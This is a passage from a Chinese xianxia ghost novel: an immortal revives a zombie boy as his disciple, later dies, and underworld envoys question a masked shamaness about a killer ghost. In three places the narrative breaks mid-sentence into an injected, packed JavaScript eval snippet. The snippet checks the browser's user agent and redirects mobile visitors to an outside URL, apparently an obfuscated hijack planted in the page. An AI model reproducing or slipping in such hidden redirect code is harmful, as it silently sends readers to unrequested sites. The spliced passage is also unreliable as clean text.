诸无低头看着僵尸,和颜悦色道:“你饿了?可是你是吃不了我的。” 这时他发现僵尸少年嘴巴开合,似乎并不是做出啃咬的动作,而是要说话。 “救……救……我……”它发出含混的声音。 照理说僵尸只是一具能活动的尸体,已经没有活人的意识,更别提组织完整的语句了,顶多发出一些本能的吼叫。诸无不免有些惊讶,几乎以为自己听错了,但他听声音向来是绝对不会出错的。 “救……救……我……”僵尸少年又说了一遍。 诸无摇了摇头,“没有意识到自己已经变成僵尸了么?我救不了你,要救也是救被你抓住的行人。” 他抛下僵尸,继续往前走去。但僵尸少年却锲而不舍地跟在他身后,发出的声音竟然变了: “带……我……走……!请……” 这一刻口吐话语的绝非是一只怪物,而是一位苦苦哀求的受伤少年! 诸无再次停下脚步。他悠悠叹息一声,想起了这趟要去拜访的老友。 “难怪怀云信上次说我到了该收徒的年纪。怀家人算命真是准。” 他转回身,灯笼的光映着僵尸的脸,也映着他自己的脸。细密的雪花悄然飞舞在灯光中。雪云遮蔽了月亮,没有灯火的话看不到雪,只能感觉到点点冷意落在身上。 “我救你,不是因为我有善心,只是因为我不嫌麻烦而已。”诸无平静道,“虽然我不介意就这么带你走,不过让别人看见了难免惊怖。” 他想了想,随手折下旁边的两根松枝,分别安在僵尸缺失的手臂和腿上。然后他做了个奇怪的动作——他虚虚一抓,仿佛从自己的心口抽出了一缕丝线,然后一掌拍在僵尸背上。 做这番动作时,诸无微微皱了皱眉,旋即便神色如常地一挥袖。而匍匐在地上的僵尸眨眼间变成了一个形貌无异、甚至称得上清秀可爱的少年。少年正陷入昏迷,面色苍白,但身体健全,胸口随呼吸微微起伏着。 “相逢既是有缘。至于前尘往事,你就忘了吧。”诸无望了望天,叹了口气,“只是恐怕赴约要迟到了……不过想必怀云信应该也算到了。” 白衣少年从街上飞奔而来,一气推开屋门。然而一跨入屋内,他的动作却又迟疑起来。最后他咬了咬牙,一鼓作气推开里间的门,然后立马扑通一声跪下。 诸无原本正在翻看一本乐谱,见徒儿迟迟才归、一归来又如此举动,不由挑眉道:“怎么了?” “徒儿弄丢了师父的玉佩!请师父责罚!”松枝重重一叩首。 今日诸无常系在腰间的玉佩不知怎么断了系绳。虽然诸无要修好绳子轻而易举,但那根系绳的编织手法出自匠师之手,复原不来。于是松枝自告奋勇带玉佩去城内一家有名的铺子里换一根系绳。谁料他到了铺子,一摸怀中,玉佩竟不翼而飞。 “怎么弄丢的?”诸无还是不紧不慢的,”莫要跪着了,起来说话。“ “应当是被贼人偷去了。徒儿已经报官了。” 松枝满心悔恨。不仅是因为弄丢了玉佩,更是因为玉佩被偷时他竟然毫无察觉。他暗暗下决心,日后定要再加倍努力修炼。 “我说你怎么半天不回来,原来是去了趟衙门。”诸无又翻过一页乐谱,“好了,不是什么大事,快起来吧。” “可是……那块玉佩应当是师父十分重要之物……” 那块玉佩虽然不是仙器,但成色非凡,连系绳和垂络也不同寻常。而且自从松枝见到师父起,那块玉佩就一直系在诸无腰间;从系绳断裂来看,说不定诸无已经佩戴了百余年。 “重要倒是重要,不过丢了也就丢了,为师也不在意这些身外之物。”诸无摆了摆手,“都说不用跪着了,难道还要为师说第三遍?” 松枝还是跪着不动。 “师父真的不在意么?”他轻声说。 原本诸无没有要责骂他的意思,松枝还是有些庆幸的。但他发现师父对玉佩纯粹一副无所谓的态度,忽然心中又慢慢泛上一点凉意。 “自然是真的,难不成还是故意诓你么?”诸无见徒弟就是不起来,无奈地合上书卷,“好了好了,看你一副比为师还在意的样子,这样吧,你陪为师去一趟玉器铺,买个新的玉件如何?” 玉器铺内。 松枝拾起一枚玉环。极好的脂玉,洁白得像是新雪;对着光一照,却又冰一样透明,折射出隐约的光芒来。虽然比不上诸无原来的玉佩,但也是无可挑剔的玉饰。 诸无走过来,看到松枝手中的玉环,也露出了满意的神情。他唤了一声铺子的玉匠,“老板,可有与这枚玉环形制大小相似的玉玦?” “玉玦啊……”玉匠沉思片刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13307008|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,连连点头,“有的有的,客官请稍等!”说罢赶忙掀帘进了后屋。 “师父不是一向贯彻齐物之论,”松枝放下玉环,“为何不要玉环要玉玦?” “为师只是觉得有一句古语十分得当,‘授珮玦者,事至而断’。”诸无悠然欣赏着铺内的玉器。此时老玉匠也打帘出来,手里捧着一个匣子。 松枝只觉得心头微微一紧,却没有开口,默默看诸无从玉匠手中接过那枚寓意着断绝的白玉玦。 “松枝,为师见你近日常常长吁短叹,可有什么烦心事?” 诸无头也不抬地用绢布擦着木箫,朝桌对面刚忍不住偷偷叹气的徒弟道。 松枝坐姿笔直,手边是一摞繁杂的道术典籍,“回师父。徒儿觉得自己术法进益浅薄,愧受师父教导。” 诸无轻轻咳嗽一声:“为师考你几个问题。” “师父请讲。” “净心咒为何?” “太上台星,应变无停,驱邪缚魅,保命护身;智慧明净,心神安宁,三魂永久魄,无丧倾解!” “龙湫呢?” “之州雁山中大瀑布。传说高一百二十丈,宽五十丈,奔涌如雷,其上长悬虹彩,可见不可近。载自《之州旧志》。” 诸无笑,“我的徒儿不仅心法道诀倒背如流,还博闻多识,为师心中甚慰。” 松枝脱口而出:“可是这些有什么用……” 距诸无捡到失忆的他,又收他为徒已经过去四十余年了。这几十年间,松枝自认为修炼已经足够努力。但即使他不舍昼夜地看书领悟,将各种道术要诀背得烂熟,灵力却依然低下得像个刚入门的弟子。有时候在山野中遇到妖鬼,要不是靠法器驱赶,要不就是诸无出手镇服,鲜少有他用手中长剑斩下妖怪头颅的时候。 他辜负了师父赠他的名剑,也辜负了师父——哪怕师父从来没有期望过他什么。 “知道这些还不够厉害么?你是担心不足以护身?”诸无想了想,“为师有好些法器交予你了吧,若为师有一日不在了,凭那些也是能防身的。” 不是的。他不是想要师父保护他。他想要保护师父啊! “师父您……近来身体……”松枝突然喉头一哽,说不下去了。 这几年来,诸无的身体不知为何越来越差。他原本不是贪睡的人,近来却越来越嗜睡,脸色也一日日苍白下去。尽管诸无自己不在意,但松枝硬拉着他看了许多大夫。而那些名医都只是摇摇头,说除了多加休养别无他法。松枝依然不甘心,又带着诸无去遍大奉各地,寻觅一些古籍甚至传说中的灵药仙方,却始终未有好转。 为什么,为什么师父明明身为半仙,却依然有疾病衰亡;为什么自己天资如此愚钝,一点也帮不上师父? “为师能吃能喝,听曲奏乐的本事也未有半分减弱,无需担心。”诸无云淡风轻地笑了笑,“而且莫说为师只是半仙,就是天上的真龙也有寿数终尽的一日。有生必然有死,既然是注定的事,又何必担忧呢?” 为什么,师父对自己的生死都看得这么轻—— 但松枝不知道该向谁去质问。一切对于诸无而言都是过眼云烟,不甘心的只有他,只有他拼命想抓住些什么。 “师父,我最近在书中看到江州或许长有一种仙草。”少年的眼眶有些发红。数十年来他都不曾哭过,此时却隐隐有想要落泪的感觉。“我们过几日去江州城,好不好?” 15. 曲终人散(三) “本来就是……活死人?”木明瑟茫然不解,“可是之前见松枝都是好端端的,我也未看出什么异样啊。” 盛情难却没有立即回答,她像是懒得费口舌,忽然转向春生秋杀,露出一个柔和的、请托的笑容,“春生秋杀,你来解释吧。” 春生秋杀原本正盯着诸无的尸体。大约是因为无常见惯生死,他见到诸无横死时除了微微吃了一惊,并不惶乱哀痛,只是脸上散去了笑意。此刻听到盛情难却叫他,他转回目光,重新有点无奈地笑了笑,“吾辈虽然乐意效劳,但身为黑无常,察魂探魄实在不是本职。还是由盛情你来解释更明白一点。” “松枝之所以看起来与正常人无异,是因为诸无分了一半的仙魂给他。”盛情难却不笑了,淡淡地说。 “分了一半的魂魄?”木明瑟难以置信,“常人若是魂魄有损,就算还能下地活动,也至少神智不清了才对。” “但诸无不是常人。他应当是一直用仙法强行维系着自己和松枝。”盛情难却平静道,“但是这种耗费不是能够天长日久承担的,我们见到诸无时,他身体虚弱,是因为他的仙力快要耗尽了。还有,松枝灵力低下,大概也是因为他魂魄并非自身所有,又有所缺失,所以不适于修行。但他不饥不渴,身体无病患,也是因为他原本是僵尸。” 她鲜少一口气说这么多话,但她不像天衣无缝一样有说书的天赋,从她口中说出的话没有抑扬顿挫也没有情绪,像一把刀削平了所有生死悲欢。 “这些……盛姑娘一开始就看出来了么?”木明瑟问。 “我是无常。”盛情难却平波不惊道,斗篷下一双漆黑的眸子深得像是古镜。 “虽然吾辈不曾认识过这位仙师,不过听起来他很是看重徒弟,竟然愿意分出一半魂魄。”春生秋杀感慨。 “是啊,很看重。但这些现在都不重要了。”盛情难却再次望向春生秋杀,“你方才一直在看什么?” “吾辈只是在想诸无是怎么死的。”春生秋杀站得离床榻最近,因此顺手就指向诸无胸前的伤口,“一击贯心,但创口不小,不像是刀剑之类细长的锐器。” “也不一定吧。”木明瑟反驳,“若是催发剑气,也可能造成这样大的伤口。或者……” 他想了想,“用引雷符召出一道雷电,也能这样洞穿心口。而且诸无都没有流血,莫非就是因为雷火灼烧所致?” 木明瑟毫无顾忌地说出推测,并不担心嫌疑落在他这个术师头上。而正如他所说,诸无的伤口看着可怖,但是却没有半滴血液飞溅,这才干净安宁得乍一见犹如深眠。 “不是雷电,伤口处没有灼烧的痕迹。”盛情难却也走近床边,“没有血迹可能是因为在诸无受伤之前,他身体里的血就早已不流了。又或者就像传说里一样,仙人的血都是无色的露水。” “那还真是奇闻轶事。”春生秋杀轻轻应和她偶尔跳脱的话。 他突然伸出右手。他的手也相当瘦,骨骼历历可见,但不是带着死气的瘦削,而是近乎病气的孱弱。 “这个伤口……”他还是很轻地说,缓缓握手成爪,“说不定是被这样直接掏出来的呢?” “若是这么凶残的手法,那下手的就是妖怪或者厉鬼咯?”木明瑟并没有惊惶,只是歪着头思索。 春生秋杀收回手,正色道:“吾辈以为,松枝他们之前遇到的红衣厉鬼,应当还在城中游荡。” “除此之外也别无线索啊。”木明瑟环视房间,叹了口气,“毕竟我们又不是大理寺那群专职查案的人。再说如果真的是妖鬼杀人,来无影去无踪,更加无迹可寻。话说为什么凶手要杀诸无?” “妖魅食人,恶鬼杀人,本性使然,哪有为什么。”盛情难却看了一眼春生秋杀,“这里已经没必要待下去了,走吧。” “等等!”木明瑟连忙叫住她,“那松枝应该怎么办?” 少年化作的僵尸自从一开始被符咒震慑住后,就一直无声无息地呆站在角落。 三人复又把目光投向它。 “我给它贴的是普通的束灵符,现在只是限制它不能伤人。”木明瑟垂下眼睫,“要不给它贴张镇尸符,令它解脱吧。” 他语气中有些不忍,还是不太想亲手葬送曾经的同伴。 “随便你。”盛情难却没有这样的善心,既不关心也很无情道。 “直接让它安厝在这里也不好。”春生秋杀提议,“不如吾辈将它带去山上处理了?” 然而他话音未落,僵尸忽然动了。这次额上的符箓没有镇压它,它就拖着脚步慢慢来到春生秋杀面前。 “我……的……箫……”它竟然开口了,喉咙里发出含糊的声音。 春生秋杀恍然记起。他认真地看着僵尸,略带歉意地微微一礼,“实在抱歉,吾辈没能带回那支箫。” “僵尸竟然还能说话?”木明瑟克制不住惊讶。 “是有很强的执念吧。”盛情难却冷冷地说。 木明瑟抓抓头发,“不过那支箫是怎么回事?我看出箫中被倾注了很强的仙力,不会随便遗落,怎么会被弄丢的?” “就在那个山洞里被毁掉了。”盛情难却言简意赅。 木箫中封存了极强的仙力,诸无大概一方面是为了给徒儿护身,一方面是用以稳定松枝的魂魄——就算他亡故了,携着这支木箫,松枝应当还能支撑一阵子不至于变回活死尸。然而诸无已死,木箫亦毁,松枝的情况才无可挽回地恶化。 如果不往箫中封入本就所剩不多的仙力,诸无或许不会这么容易被杀死;也或许,诸无是预见到自己的死,才将余力托付在箫中。 僵尸缓慢转过身,来到床边。它用迟钝的动作卷起被褥,将诸无的尸体裹在其中,然后整个抱起。 “它是要去给师父下葬吧。”春生秋杀给僵尸让开一条路,看着他走向门口,“我们也去看看?” “你们去吧。”木明瑟却摆摆手,很不合时宜地打了个哈欠。在渐亮的晨曦中,他的黑眼圈格外明显,“我必须得去睡一觉了……有什么事再来房间里叫我。” 僵尸的力气不小,但走路却不快。它的一条腿似乎还微微跛着,行走就更加迟缓。 两位无常一开始以为松枝是有什么地方要去,不久后发现它只是漫无目的地乱走,有几次甚至在来来回回兜圈子。当它终于踩上某处的泥土时,神智丧乱的僵尸才停下了这场漫长的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321252|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送葬。 空气中浮动着清浅的花香。 更行江畔的堤岸上颇为风雅地栽满了梨树。初春正是梨花盛放的时节,满岸都是层层叠叠的雪色。江州城无生无死,于是数不尽的梨花也永远开到极盛,不曾凋谢。 松枝把被褥放置在一边,跪下来开始用嶙峋的手刨土。 “葬在这里,恐怕会吓到河边散步的人吧?”春生秋杀笑着说。 他仰头看着梨花,若有所思,“盛情,你说这里的江畔为什么要种梨树呢?” “好看。”盛情难却丢给他两个字。 “确实很好看。”春生秋杀笑了笑,望向远处。更行江波光粼粼,远处的舟船就在一片细碎的水光上来去,络绎不绝。 “但是江河边一般是系舟行船、渡水远去之地,所以多栽柳树,喻示依依留别。而种梨树,不是喻示离别么?” 盛情难却没有回应他的话。她也眺望着江上的行船,忽然问了个毫不相干的问题:“你为什么想要江州城恢复原状?” “这问题真是奇怪。”春生秋杀果然也奇怪地看向她,“难不成有谁会希望江州城一直这个样子?” “但是你特别想。”盛情难却语调还是没有起伏。 “特别吗……”春生秋杀眨了眨眼睛,“吾辈记得问过盛情你差不多的问题吧,你说你是因为职责所在。至于吾辈嘛,可没有这么重的责任心。倒不如说恰恰相反,吾辈已经好不容易完成了地府的业绩,本来都要卸任无常了。所以才急着离开这里,赶去入轮回呀。” “入轮回有什么好的?”盛情难却淡淡地问。她的问句一向是字面上的疑问,但这次竟然带了点反问的意味,“轮回转世后就没有了这一世的记忆,下一世如何跟这一世的人也没有什么关系。” “唔……世间有多少人行善积德,就是为了给自己的下一世种一个善因。地府许多无常忙忙碌碌,不也是想着用这点劳碌在判官那换一个来世的好命数么。让他们听见你这些话,可要不太高兴了。”春生秋杀却没有不高兴的样子,笑眯眯地说,“盛情你这番论调是从哪里听来的?” “也许是从某人处听说的吧。”盛情难却漠然道。 “那真是个奇怪的人啊。是你之前的搭档么?” 盛情难却没有回答,于是对话便自然而然地中断在这里,轻忽得像一场早春的梦,哪怕断得突然,也令人不觉得意外。一边的松枝已经挖好了一个浅坑,它将诸无的尸体放进坑中,没有覆土,就这样静静地跪坐在坑边。 “应该不用管它了吧,它大概会一直在这里守墓的。”春生秋杀抬起手,接住一朵随风飘落的梨花。 江风浩浩荡荡吹来,宛如一阵悠远快意的箫声。盛情难却想起山洞中木箫自行鸣奏的那一曲,乐声中并无哀伤之意,只有一点点温柔。 “我羡慕松枝。”她突然毫无感情地说。 “羡慕一具僵尸么?”春生秋杀微笑道。 “因为他知道自己是为了什么而活的。”她蹲下身。刚刚那一阵风已经悠悠地停了,地上星星点点都是被打落的梨花。她越过这些落花,捡起那枚从僵尸袖口掉落的白玉玦,扔进坑中,“而且,我也讨厌离别。” 16. 神出鬼没(一) 笃笃笃! 床上很没有睡相的少年迷迷糊糊翻了个身,下意识拉起被子蒙住脑袋。然而那无情的敲门声再一次响起,他这才勉强清醒过来,一边费劲从床上爬起来一边大喊:“来了来了!” 吱呀一声门被打开,木明瑟睡眼朦胧地看着门外的黑白无常,“今天是什么日子了?” “今日是三月初六。”春生秋杀亲切道,“明瑟你休息得可好?” “才睡了一天啊……”木明瑟眯着眼睛望了望日上三竿的天色,满脸都是还没睡够的模样。 “去寿衣铺。”盛情难却省去寒暄,直截了当地说出目的。 “寿衣铺?”木明瑟下意识地念叨了一遍,记起了前几日他和盛情难却发现似有人在的那家店铺,“不过……你们昨天没去看过么?” “去过。没人。”盛情难却用引魂幡敲了敲木明瑟的肩膀。木明瑟只觉得一个激灵,残存的睡意都被统统驱散。“若是这趟去再不见人,或许需要你用术法寻人。” “你使唤人也太容易了吧。”青衣术师揉了揉鼻子,“万一我上次只是看错了,店里根本没人呢?” “那你这趟更应该去。” 见这趟是不得不走了,木明瑟只得伸了个懒腰。他也没什么东西要收拾,回身把房门一关,哈欠连天地和两位无常一道下楼。“我也没说不想去嘛,只是提出一个假设而已……” “明瑟你心明眼亮,想来是不会看走眼的。”春生秋杀笑吟吟地捧了一句。 木明瑟还没来得及回他的话,盛情难却突然转向黑无常,“你既然辖属江州城,可知那家寿衣铺的主人是谁?” 春生秋杀摊了摊手,“江州城几千几万户人家,要全部记住未免是为难吾辈了吧。何况无常是跟鬼打交道,又不是跟人,若是司掌生死簿的白无常说不定还清楚一点……可惜吾辈的搭档已经下落不明了。” “记性真差。”盛情难却评价。 “毕竟不像盛情你的阳平县人少清闲……”春生秋杀试图挽回自己的颜面,“而且无常记性本来就不大好吧。虽说无常是因死后与阳世的羁绊而生,但为了避免生前之事干扰无常的工作,无常大多会忘记生前的事,所以记性不好也是天然的。” “不用给我解说,我又不是不知道。”盛情难却漠无表情道。 “吾辈这也是在给明瑟介绍嘛。”春生秋杀很轻松地找了个理由,“吾辈呢,就属于忘性比较大的那种无常,生前的事差不多都忘干净了,所以大概连累着现在的记性也比较一般。” “无常生自羁绊执念,力量强弱也与心念深浅有关。而执念越深,与之相关的记忆留存就越鲜明。”盛情难却淡淡地说,“你若是生前之事已经遗忘,说明羁绊并不深重。但是你的能力似乎并不低。” “没想到吾辈如此被高看啊。”春生秋杀有些讶异,随即爽朗地笑了笑,“若吾辈实力当真尚算上乘,也是所谓天道酬勤吧。吾辈毕竟也是拘过九千九百九十九魂的,这样说起来还能算是盛情你的前辈呢。” 木明瑟突然轻轻倒吸了一口气,打断了两位无常的谈话。 “看来这趟运气不错……”他懒洋洋地嘀咕了一句。 寿衣铺原本摆着各种纸扎的柜台上赫然新增了一个大土陶瓶,瓶内横七竖八地插着些山花杂草,五颜六色的一大拢十分招眼。但更招眼的,是柜台后正在摆弄花瓶的寿衣铺老板。 三人才走到离店铺还有几步路的地方,原本坐在柜台后的老板就跳了起来,双手撑着柜台探出身子,喜气洋洋道:“没想到这种日子还有客上门,请问客官需要些什么?这几日本店的寿衣正在降价促销,若是要订购葬仪的话则附赠纸钱一袋!另外虽然看客官您可能不太需要,不过本店最近还推出了接生服务哦!” 这个老板竟然是位纤细的女子,一头绛色长发随她跳起来的动作飘荡。她身着普通的黑色麻衣,衣裳上却缀着各色各样的珠子和羽毛,亮丽堪比旁边她插的那一大瓶花;但最为怪异突兀的是她脸上扣着一副黑底绘金的面具,完全遮住了她的面容。 ——她根本不像一个市井老板,而彻头彻尾是一位巫女! “都不需要,我们只是想向老板请教一些事情罢了。”春生秋杀眉开眼笑道。 “……” 老板却像没听到他的话一般,一副面具直直对着木明瑟。过了一会她疑惑道:“客官您为何不说话?若是心中有忧虑疑惑之事,我也可以为您测算卜卦。” “我?”木明瑟有点不解,不明白这个巫女为何只盯着他,连忙摆手道:“不不不,我不需要卜卦。” 他不由得紧张地低头检视了一遍自己的着装,想知道哪里引得老板如此注意自己。 隔着面具看不到老板的表情,但听语气她也有些困惑,“那客官您是来……” 木明瑟转头看向两位无常,三人彼此对视一眼,忽然心中透亮。 青衣术师扯了扯嘴角,讪讪道:“老板,我并非独自一人前来。” 老板的古怪之举不是故意冷落旁边的盛情难却和春生秋杀,也不是与木明瑟同类相见惺惺相惜以至于旁若无人,她是根本没有看见两位无常! 先前木明瑟天赋异禀有阴阳眼不说,诸无是半仙之身,就连松枝也身具仙魂、本身又是半死之人,所以一个个的都能直接看到无常。而这位巫女看着形貌神秘,众人都想当然地以为她灵力高深,也能眼见地府鬼差。 老板扭头看着缓缓现身的黑白无常,似乎很是愕然:“两位……无常?” “我们以为老板你并非常人,能直接看见我们的。”春生秋杀眉眼弯弯,十分平易近人。 “我虽然能通灵,不过二位来自地府,并非我拜祭的神灵大人,我自然看不见二位。”面具又凑近一点,似乎对无常十分好奇。 “你是巫女?”盛情难却冷冰冰地问。 “是啊是啊,诸位不是本地人所以不知道吧,我是整个江州城里名声最好的巫祝啦。”老板拍了拍自己的胸口,“如果各位有什么祈福驱邪、接生送丧的需要,随时都能来找我,价钱都很公道的!” “只可惜吾辈身为无常,恐怕不能为贵店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13337895|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捧场了。”春生秋杀露出一个遗憾的笑容。 “那也不一定,与各位先交了这个朋友,有机会的话还请在地府替小店多多宣传呀。”老板热情地说。 “店里业务真是广泛,不过我们这已经有一位术师了。”盛情难却忽然缓缓露出一个笑容,她这样笑的时候亲和得仿佛跟春生秋杀一个模子里刻出来,只是一双眼睛中依然空空如也,“其实前几日我们也来过店里几回,不过都不曾见过老板。” “前几天啊,我都在山上呢。”老板指了指旁边的花瓶,颇为自得,“这些天没有客人来,我闲着无聊,就去山上采花了。这些花虽然不稀罕,但我也搜罗了好久呢。” 虽然盛情一行人始终没有说出来意,老板却也并未着急不安,除了推销就是愉快地聊着闲天。她身上有一种奇异的、不受影响的欢快,就连江州的异状也没有殃及这种欢快,她甚至还能自己爬爬山摘摘花找乐子。或者说,在这种情况下,她还能爬山采花,实在是一个没心没肺到不可思议的奇人。 “咦,前两日我们也去过更远山,居然没有遇见。”木明瑟说。 “是吗?不过更远山这么大,错过了也很正常。”老板挠了挠后脑勺,“不过虽然当时没有碰见,但现在还是见面了,看来我与诸位还是很有缘嘛。” “这缘分好像不太妙啊。”春生秋杀柔声说,“因为我们当时大概是闯入了老板的地方。” “我的地方?”老板愣了愣。 盛情难却静静地往台面上放下了一个东西。老板低头去看,绛色的发丝掠过一边的花枝,“这个是……” 如果她这时候抬头去看,若是足够敏锐,便能发现对面三人虽然一动未动,但都流露出一丝如临大敌来,仿佛在等待某种怪物蓦然狰狞现世。 但老板只是对着盛情难却放下的木片琢磨了片刻,恍然大悟道:“这是我做的神偶?你们去那个山洞了?” 她的语气中只有几分惊讶,并没有盛怒。 “看来那里当真是老板你祭祀神灵的地方。”春生秋杀浅笑道。 “是啊,不过我没想到你们进去以后居然把那里拆了。我的巫术应该没那么容易被破吧,难道你们是把半座山头都炸啦?”老板说着真的伸长脖子去望了一眼远方的山峦。 木明瑟大概又想起了那时他费力定住了半座山的经历,拧着眉毛露出不愿回首的复杂表情。 确认更远山还是完好无缺的,老板又叹气道:“这下明天又有的忙啦,得去重新布置一遍山洞了。” “你用巫术将过路的活物都引诱进山洞中充当祭品?”盛情难却单刀直入道。 “差不多吧。”老板爽快地承认。 “祭品中……也包括活人么?”木明瑟当时并不了解那个山洞的原委,此时忽然听到如此真相,他神色微微一变,转而有些凛然地审视着巫女。 “更远山是江州名胜,常常有游人登览。”老板想了想,“应该偶尔会有什么路人有幸经过附近,被召去祭祀神灵大人吧。” “有幸?”春生秋杀笑眯眯地问。 17. 神出鬼没(二) “能以身为祭供奉神灵大人,自然是幸运啦。” 尽管隔着面具,但想必老板脸上定然是一副没心没肺的笑容。她乐呵呵说得直白,根本没想着要跟对面打机锋。 “那我们还真是‘不幸’脱逃了。”盛情难却平声道。 “也不能这么说吧。”老板又挠了挠脑袋,“诸位应该是未受巫术蛊惑才能离开山洞的。既然未受蛊惑,也就不信奉大司命大人了,自然也没必要献祭自身了。其他祭祀大司命大人的人受巫术影响,怀着敬神之意愿意祭献自己,顺从心意而献死,当然是好事咯。毕竟世上有多少人能顺心而死呢?” 她的话乍听分明是歪理邪说,但她说得很坦然,语气中并无劝诱,只是发自本心的阐述,仿佛这套道理对她、也仅仅只是对她而言,是理所应当的。这个古怪的巫女像是居于一座固若金汤的城池中,轻易不会向外攻伐,但旁人也休想动摇她。 “毁坏了神偶,老板你也不生气?”春生秋杀依然是笑眯眯的,目光似有若无地落在她手里的木片上。 “你们本来也不信奉神灵大人,怎么做都无所谓啦。天下那么多不尊奉神灵大人的人,难道我还要一个个跟他们生气不成。而且事情既然已经发生,说明大司命大人也允许了,我又有什么可计较的。”老板满不在乎,把木片随手一扔,忽然茅塞顿开,“原来你们来找我,就是为了告诉我山洞被毁这件事?” “不是为了这种小事。”盛情难却态度很淡薄。本来今日遇见之前,众人都不曾想到寿衣店的老板就是山洞的主人,如此巧合之下才顺势一提。既然当初木明瑟说过巫术与江州城的情势无关,她也懒得继续放心思在山中巫阵上,哪怕连她自己险些也被埋在那里,“关于江州城无死无生的异状,你是否有头绪。” “你们好像衙门里的大老爷在审案子啊。”老板捂住面具的嘴部,竟然忍不住哈哈笑起来,像是想到了什么有趣的事,旋即她又正儿八经地摆摆手,“不过老爷们可不要怀疑草民,我当真不晓得缘由,也正是一头雾水呢。” 盛情难却冷冷道:“你不是会用巫术卜卦么,没有卜算过?” “这有什么好卜的?”老板顺嘴反问,然后接着解释,“我从来不给自己卜卦,因为我相信一切皆为神意所安排,无论发生什么,我都乐于领受大司命大人的旨意。” “所以老板你看上去一点也不在意江州异状,是因为你相信这也是神命。”春生秋杀善解人意。 “差不多吧,而且因为我没有能解决的办法,所以只能认命地待在这儿啦。不过如果你们想要卜一卦也可以,二十文一次!”老板非常诚恳地一拍桌子,就差把童叟无欺四个字刻在面具上了。 盛情难却若有所思地瞥了一眼旁边的木明瑟。巫女不给自己卜卦是因为尊神,那么他呢?——他是为了什么才推托算命? 她收回目光,“不必了。也就是说你并无解决之法?” 老板又认真地思索了一番,摇摇头,“这确实与本店的业务范围相差甚远啊,就算是你们问,我也没什么办法。但是各位如果有什么需要我帮忙的地方,我很乐意献一臂之力。” “知道了。”见没有什么实际的收获,盛情难却抛下一句应付,不打算再多逗留,转过身准备离开。 老板也没有挽留他们,热忱地挥手道别:“对了,各位记得小心城里的杀人鬼啊!” 正要离去的三人齐齐回头。 “……什么杀人鬼?”最终还是盛情难却开口。 “咦,原来各位不知道。”老板说,“城内有杀人鬼在游荡,平时要当心被它袭击啊。” “我们的确不知道,多谢老板提醒。”春生秋杀笑着说,“只是敢问老板是怎么知道的?” “我虽然不是江州人,不过也在江州城待了好久啦,那个鬼在江州出现异状的前几日就来到城里了,所以我早就听说了。”老板如实告知。 “莫非是一名红衣女鬼?”春生秋杀微笑。 “嗯……至少先前听街坊邻居好像是这么说的。”老板似乎在努力回忆,倒是后半句话说得明确无疑,“她叫李绣之。” “鬼还有名字?”春生秋杀问。这个问题对于无常来说实在不该问,毕竟生死簿的第一页上就明晃晃挂着几个地府长年通缉的厉鬼的名字,甚至这些名字还是用朱色写注的,醒目到每个无常都不会注意不到。故而黑无常此举只是在用他独特的委婉话术,不着痕迹地让对方继续往下说。 “鬼都是人变的,人有名字,鬼自然也有名字咯。”老板拍了拍自己的脸颊——实际上只是拍了拍面具,“对了,还没说我自己的名字呢。我叫灵堂,虽然听着有点不太吉利,不过多叫叫就习惯了。” 灵堂……还真是符合神巫身份的名字。 “总之听说那个鬼拿着一把大砍刀,凶悍得很。”灵堂继续说,“虽然她大概是为了杀我来的,不过毕竟是杀人鬼,下手无情,各位还是要小心碰见她呀。” “为了杀你?”盛情难却一字一句地问。 “是啊,我跟她也也算是旧识吧。”灵堂随意地回答了一句,忽然两手一拍,话题一下子跳了开去,“哎,我倒是忘了,你们两位是无常,还有一位是……”她艰难地从一身朴素中辨认出木明瑟的身份,“是术师。大概都是不怕鬼的。” “确实。所以比起偶遇,我更想先去找到这位李绣之。”盛情难却也转而笑了起来,“不如我就留在店中,陪老板等这位杀人鬼吧。” “我倒是不介意,不过这样不一定要等到什么时候呢。”灵堂坦然自若地说,“毕竟她没有一来就找上门,说不定要隔个十年二十年再来杀我也未可知哪。” “既然如此,老板可有办法找到这位旧识?”春生秋杀用一种恰到好处的恳切语气询问。 灵堂却耸了耸肩,“要说测吉凶之类的我擅长,但寻人寻物非我所能。一般要找东西的话,大家都会去找城里的术师或者仙家吧。” 一时间所有人的视线都汇集在了木明瑟身上。木明瑟只得叹了口气:“就算我会寻物术,我又不知女鬼面貌,又不知她生辰八字,难道凭空去寻?若这样能办到,岂不是直接让我找到异状的幕后主使就好了。要想寻……人,总得有个凭据吧?” “老板……”春生秋杀转向灵堂,柔声道。 